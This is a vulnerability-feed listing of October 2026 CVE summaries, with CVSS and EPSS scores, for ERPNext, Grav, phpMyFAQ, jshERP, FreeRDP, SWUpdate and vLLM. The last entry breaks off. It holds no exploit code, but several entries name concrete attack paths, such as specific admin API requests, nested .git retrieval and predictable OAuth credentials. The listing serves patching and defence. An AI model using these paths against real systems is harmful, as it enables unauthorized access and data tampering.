Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 has certain endpoints that do not enforce proper authorization checks on operations that modify production records. An authenticated low-privileged user can send requests to these endpoints to modify production data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109660).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109660&date=2026-10-25).
Sources:
NVD CVE-2026-109660: https://nvd.nist.gov/vuln/detail/CVE-2026-109660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109660&date=2026-10-25
Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 has certain endpoints that do not enforce proper authorization checks on operations that modify production records. An authenticated low-privileged user can send requests to these endpoints to modify production data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role-based authorization...
https://kevwire.com/record/CVE-2026-109655
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role-based authorization... (Oct 12, 2026).
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role-based authorization checks. Authenticated low-privileged users can send requests to these endpoints to modify inventory records beyond their permitted role.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109655).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109655&date=2026-10-25).
Sources:
NVD CVE-2026-109655: https://nvd.nist.gov/vuln/detail/CVE-2026-109655
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109655&date=2026-10-25
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role-based authorization checks. Authenticated low-privileged users can send requests to these endpoints to modify inventory records beyond their permitted role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks.
https://kevwire.com/record/CVE-2026-109650
Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. (Oct 12, 2026).
Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. Authenticated low-privileged users can send requests to these endpoints to read personal data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109650).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109650&date=2026-10-25).
Sources:
NVD CVE-2026-109650: https://nvd.nist.gov/vuln/detail/CVE-2026-109650
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109650&date=2026-10-25
Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. Authenticated low-privileged users can send requests to these endpoints to read personal data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks.
https://kevwire.com/record/CVE-2026-109645
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. (Oct 12, 2026).
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. Authenticated attackers can send requests to these endpoints to create records and modify data beyond their permitted role, bypassing intended role-based access restrictions.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109645).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109645&date=2026-10-25).
Sources:
NVD CVE-2026-109645: https://nvd.nist.gov/vuln/detail/CVE-2026-109645
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109645&date=2026-10-25
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. Authenticated attackers can send requests to these endpoints to create records and modify data beyond their permitted role, bypassing intended role-based access restrictions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce role-based authorization checks.
https://kevwire.com/record/CVE-2026-109625
Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce role-based authorization checks. (Oct 12, 2026).
Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce role-based authorization checks. Authenticated users can request these endpoints to read financial data beyond the permissions granted by their assigned role.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109625).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109625&date=2026-10-25).
Sources:
NVD CVE-2026-109625: https://nvd.nist.gov/vuln/detail/CVE-2026-109625
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109625&date=2026-10-25
Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce role-based authorization checks. Authenticated users can request these endpoints to read financial data beyond the permissions granted by their assigned role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during...
https://kevwire.com/record/CVE-2026-109617
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during... (Oct 12, 2026).
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during document creation. Authenticated low-privileged users can send requests to these endpoints to create documents against records beyond their permitted role, bypassing role-based permission restrictions.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109617).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109617&date=2026-10-25).
Sources:
NVD CVE-2026-109617: https://nvd.nist.gov/vuln/detail/CVE-2026-109617
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109617&date=2026-10-25
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during document creation. Authenticated low-privileged users can send requests to these endpoints to create documents against records beyond their permitted role, bypassing role-based permission restrictions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a stored cross-site scripting vulnerability in a report view that interpolates stored record names into markup...
https://kevwire.com/record/CVE-2026-109612
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a stored cross-site scripting vulnerability in a report view that interpolates stored record names into markup... (Oct 12, 2026).
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a stored cross-site scripting vulnerability in a report view that interpolates stored record names into markup without escaping. Authenticated users able to create records can store crafted record names that execute script in the session of any user who later opens the report.
CVSS 8.5 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109612).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109612&date=2026-10-25).
Sources:
NVD CVE-2026-109612: https://nvd.nist.gov/vuln/detail/CVE-2026-109612
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109612&date=2026-10-25
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a stored cross-site scripting vulnerability in a report view that interpolates stored record names into markup without escaping. Authenticated users able to create records can store crafted record names that execute script in the session of any user who later opens the report.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a stored cross-site scripting vulnerability because a tool view interpolates stored record names into markup...
https://kevwire.com/record/CVE-2026-109604
Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a stored cross-site scripting vulnerability because a tool view interpolates stored record names into markup... (Oct 12, 2026).
Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a stored cross-site scripting vulnerability because a tool view interpolates stored record names into markup without escaping. An authenticated user able to create such records can give them malicious names, executing script in the session of any user who later opens that tool.
CVSS 8.5 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109604).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109604&date=2026-10-25).
Sources:
NVD CVE-2026-109604: https://nvd.nist.gov/vuln/detail/CVE-2026-109604
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109604&date=2026-10-25
Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a stored cross-site scripting vulnerability because a tool view interpolates stored record names into markup without escaping. An authenticated user able to create such records can give them malicious names, executing script in the session of any user who later opens that tool.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav before 2.1.7 contains an information disclosure vulnerability because bundled nginx, lighttpd, IIS, and Caddy 2 configurations block .git only at document root.
https://kevwire.com/record/CVE-2026-109326
Grav before 2.1.7 contains an information disclosure vulnerability because bundled nginx, lighttpd, IIS, and Caddy 2 configurations block .git only at document root. (Oct 12, 2026).
Grav before 2.1.7 contains an information disclosure vulnerability because bundled nginx, lighttpd, IIS, and Caddy 2 configurations block .git only at document root. Unauthenticated attackers can request nested repositories such as user/.git to retrieve Git config, refs, and objects, reconstructing unpublished history or committed secrets.
CVSS 8.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109326).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109326&date=2026-10-25).
Sources:
NVD CVE-2026-109326: https://nvd.nist.gov/vuln/detail/CVE-2026-109326
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109326&date=2026-10-25
Grav before 2.1.7 contains an information disclosure vulnerability because bundled nginx, lighttpd, IIS, and Caddy 2 configurations block .git only at document root. Unauthenticated attackers can request nested repositories such as user/.git to retrieve Git config, refs, and objects, reconstructing unpublished history or committed secrets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav Login OAuth plugin (grav-plugin-login-oauth) before 1.4.3 provisions OAuth accounts as ordinary Grav users with a deterministic <provider>.<id> username and an unsalted MD5...
https://kevwire.com/record/CVE-2026-109321
Grav Login OAuth plugin (grav-plugin-login-oauth) before 1.4.3 provisions OAuth accounts as ordinary Grav users with a deterministic <provider>.<id> username and an unsalted MD5... (Oct 12, 2026).
Grav Login OAuth plugin (grav-plugin-login-oauth) before 1.4.3 provisions OAuth accounts as ordinary Grav users with a deterministic <provider>.<id> username and an unsalted MD5 hash of the provider identifier as the password, without disabling password login. Unauthenticated remote attackers who learn or guess a provider identifier can reproduce these credentials and log in, gaining administrative control of privileged accounts.
CVSS 9.3 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109321).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109321&date=2026-10-25).
Sources:
NVD CVE-2026-109321: https://nvd.nist.gov/vuln/detail/CVE-2026-109321
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109321&date=2026-10-25
Grav Login OAuth plugin (grav-plugin-login-oauth) before 1.4.3 provisions OAuth accounts as ordinary Grav users with a deterministic <provider>.<id> username and an unsalted MD5 hash of the provider identifier as the password, without disabling password login. Unauthenticated remote attackers who learn or guess a provider identifier can reproduce these credentials and log in, gaining administrative control of privileged accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.9 contains a missing authorization vulnerability in the deleteUser() API that allows authenticated non-superadmin users with delete_user permission to delete...
https://kevwire.com/record/CVE-2026-111909
phpMyFAQ before 4.1.9 contains a missing authorization vulnerability in the deleteUser() API that allows authenticated non-superadmin users with delete_user permission to delete... (Oct 17, 2026).
phpMyFAQ before 4.1.9 contains a missing authorization vulnerability in the deleteUser() API that allows authenticated non-superadmin users with delete_user permission to delete superadmin accounts. Attackers can send a DELETE request to /admin/api/user/delete with a superadmin's userId other than 1, removing administrative access and accountability.
CVSS 7.2 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111909).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111909&date=2026-10-25).
Sources:
NVD CVE-2026-111909: https://nvd.nist.gov/vuln/detail/CVE-2026-111909
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111909&date=2026-10-25
phpMyFAQ before 4.1.9 contains a missing authorization vulnerability in the deleteUser() API that allows authenticated non-superadmin users with delete_user permission to delete superadmin accounts. Attackers can send a DELETE request to /admin/api/user/delete with a superadmin's userId other than 1, removing administrative access and accountability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows Keycloak users to take over local accounts by matching preferred_username or...
https://kevwire.com/record/CVE-2026-111898
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows Keycloak users to take over local accounts by matching preferred_username or... (Oct 17, 2026).
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows Keycloak users to take over local accounts by matching preferred_username or email. Attackers controlling a Keycloak identity with a colliding username or unverified email can log in through /auth/keycloak/authorize to bind their subject and gain superadmin privileges.
CVSS 7.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111898).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111898&date=2026-10-25).
Sources:
NVD CVE-2026-111898: https://nvd.nist.gov/vuln/detail/CVE-2026-111898
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111898&date=2026-10-25
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows Keycloak users to take over local accounts by matching preferred_username or email. Attackers controlling a Keycloak identity with a colliding username or unverified email can log in through /auth/keycloak/authorize to bind their subject and gain superadmin privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains a privilege escalation vulnerability in GroupController::saveCategoryRestrictions() that lets delegated administrators assign...
https://kevwire.com/record/CVE-2026-111893
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains a privilege escalation vulnerability in GroupController::saveCategoryRestrictions() that lets delegated administrators assign... (Oct 17, 2026).
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains a privilege escalation vulnerability in GroupController::saveCategoryRestrictions() that lets delegated administrators assign categories outside their own scope. Category-restricted administrators can POST to /admin/api/group/category-restrictions with out-of-scope or empty categoryIds to grant groups unrestricted category access.
CVSS 8.5 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111893).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111893&date=2026-10-25).
Sources:
NVD CVE-2026-111893: https://nvd.nist.gov/vuln/detail/CVE-2026-111893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111893&date=2026-10-25
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains a privilege escalation vulnerability in GroupController::saveCategoryRestrictions() that lets delegated administrators assign categories outside their own scope. Category-restricted administrators can POST to /admin/api/group/category-restrictions with out-of-scope or empty categoryIds to grant groups unrestricted category access.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe HRMS 14.x before 14.38.2, 15.x before 15.64.0, and 16.x before 16.18.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation.
https://kevwire.com/record/CVE-2026-111389
Frappe HRMS 14.x before 14.38.2, 15.x before 15.64.0, and 16.x before 16.18.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. (Oct 16, 2026).
Frappe HRMS 14.x before 14.38.2, 15.x before 15.64.0, and 16.x before 16.18.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. Any authenticated attacker, including a low-privilege account, can send specially crafted requests to these endpoints to extract sensitive information from the database.
CVSS 8.3 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111389).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111389&date=2026-10-25).
Sources:
NVD CVE-2026-111389: https://nvd.nist.gov/vuln/detail/CVE-2026-111389
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111389&date=2026-10-25
Frappe HRMS 14.x before 14.38.2, 15.x before 15.64.0, and 16.x before 16.18.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. Any authenticated attacker, including a low-privilege account, can send specially crafted requests to these endpoints to extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### jshERP through 3.6 contains a missing authorization vulnerability in the POST /user/batchSetStatus endpoint that allows authenticated low-privilege users to change other users'...
https://kevwire.com/record/CVE-2026-110615
jshERP through 3.6 contains a missing authorization vulnerability in the POST /user/batchSetStatus endpoint that allows authenticated low-privilege users to change other users'... (Oct 14, 2026).
jshERP through 3.6 contains a missing authorization vulnerability in the POST /user/batchSetStatus endpoint that allows authenticated low-privilege users to change other users' account status. Attackers can submit crafted ids and status values to disable every non-owner account in their tenant, locking out administrators, or re-enable disabled accounts.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110615).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110615&date=2026-10-25).
Sources:
NVD CVE-2026-110615: https://nvd.nist.gov/vuln/detail/CVE-2026-110615
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110615&date=2026-10-25
jshERP through 3.6 contains a missing authorization vulnerability in the POST /user/batchSetStatus endpoint that allows authenticated low-privilege users to change other users' account status. Attackers can submit crafted ids and status values to disable every non-owner account in their tenant, locking out administrators, or re-enable disabled accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 2.3.0 before 3.32.0 contains an infinite loop vulnerability in http_chuncked_read that allows malicious RD Gateways to hang clients by sending incomplete chunked...
https://kevwire.com/record/CVE-2026-109941
FreeRDP from 2.3.0 before 3.32.0 contains an infinite loop vulnerability in http_chuncked_read that allows malicious RD Gateways to hang clients by sending incomplete chunked... (Oct 13, 2026).
FreeRDP from 2.3.0 before 3.32.0 contains an infinite loop vulnerability in http_chuncked_read that allows malicious RD Gateways to hang clients by sending incomplete chunked responses. Attackers can send a partial chunk-size line or footer followed by a clean TLS shutdown, causing zero-byte reads to loop forever and freeze the client decoder thread.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109941).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109941&date=2026-10-25).
Sources:
NVD CVE-2026-109941: https://nvd.nist.gov/vuln/detail/CVE-2026-109941
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109941&date=2026-10-25
FreeRDP from 2.3.0 before 3.32.0 contains an infinite loop vulnerability in http_chuncked_read that allows malicious RD Gateways to hang clients by sending incomplete chunked responses. Attackers can send a partial chunk-size line or footer followed by a clean TLS shutdown, causing zero-byte reads to loop forever and freeze the client decoder thread.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 16.22.0 contains a missing authorization vulnerability that allows authenticated users to modify records by invoking endpoints lacking proper authorization...
https://kevwire.com/record/CVE-2026-109640
Frappe ERPNext before 16.22.0 contains a missing authorization vulnerability that allows authenticated users to modify records by invoking endpoints lacking proper authorization... (Oct 12, 2026).
Frappe ERPNext before 16.22.0 contains a missing authorization vulnerability that allows authenticated users to modify records by invoking endpoints lacking proper authorization checks. Attackers can call these endpoints to perform operations on records beyond their permitted role, resulting in unauthorized modification of data.
CVSS 7.2 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109640).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109640&date=2026-10-25).
Sources:
NVD CVE-2026-109640: https://nvd.nist.gov/vuln/detail/CVE-2026-109640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109640&date=2026-10-25
Frappe ERPNext before 16.22.0 contains a missing authorization vulnerability that allows authenticated users to modify records by invoking endpoints lacking proper authorization checks. Attackers can call these endpoints to perform operations on records beyond their permitted role, resulting in unauthorized modification of data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SWUpdate through 2026.05.1 contains an improper certificate validation vulnerability in crypto/swupdate_cms_verify_openssl.c that trusts untrusted X.509 certificates embedded in...
https://kevwire.com/record/CVE-2026-109399
SWUpdate through 2026.05.1 contains an improper certificate validation vulnerability in crypto/swupdate_cms_verify_openssl.c that trusts untrusted X.509 certificates embedded in... (Oct 12, 2026).
SWUpdate through 2026.05.1 contains an improper certificate validation vulnerability in crypto/swupdate_cms_verify_openssl.c that trusts untrusted X.509 certificates embedded in CMS SignedData for chain building. Attackers holding a signing key from a sibling intermediate under the same root can embed that intermediate in the signature to install malicious updates.
CVSS 9.2 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109399).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109399&date=2026-10-25).
Sources:
NVD CVE-2026-109399: https://nvd.nist.gov/vuln/detail/CVE-2026-109399
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109399&date=2026-10-25
SWUpdate through 2026.05.1 contains an improper certificate validation vulnerability in crypto/swupdate_cms_verify_openssl.c that trusts untrusted X.509 certificates embedded in CMS SignedData for chain building. Attackers holding a signing key from a sibling intermediate under the same root can embed that intermediate in the signature to install malicious updates.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM before 0.29.0 passes uploaded audio to the PyAV/FFmpeg av.open() fallback with only a file-size check, exposing FFmpeg's IAMF parser heap overflow.
https://kevwire.com/record/CVE-2026-109311
vLLM before 0.29.0 passes uploaded audio to the PyAV/FFmpeg av.open() fallback with only a file-size check, exposing FFmpeg's IAMF parser heap overflow. (Oct 12, 2026).
vLLM before 0.29.0 passes uploaded audio to the PyAV/FFmpeg av.open() fallback with only a file-size check, exposing FFmpeg's IAMF parser heap overflow. Authenticated remote attackers can repeatedly upload malformed IAMF containers to /v1/audio/transcriptions, corrupting the heap and crashing the API process.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109311).
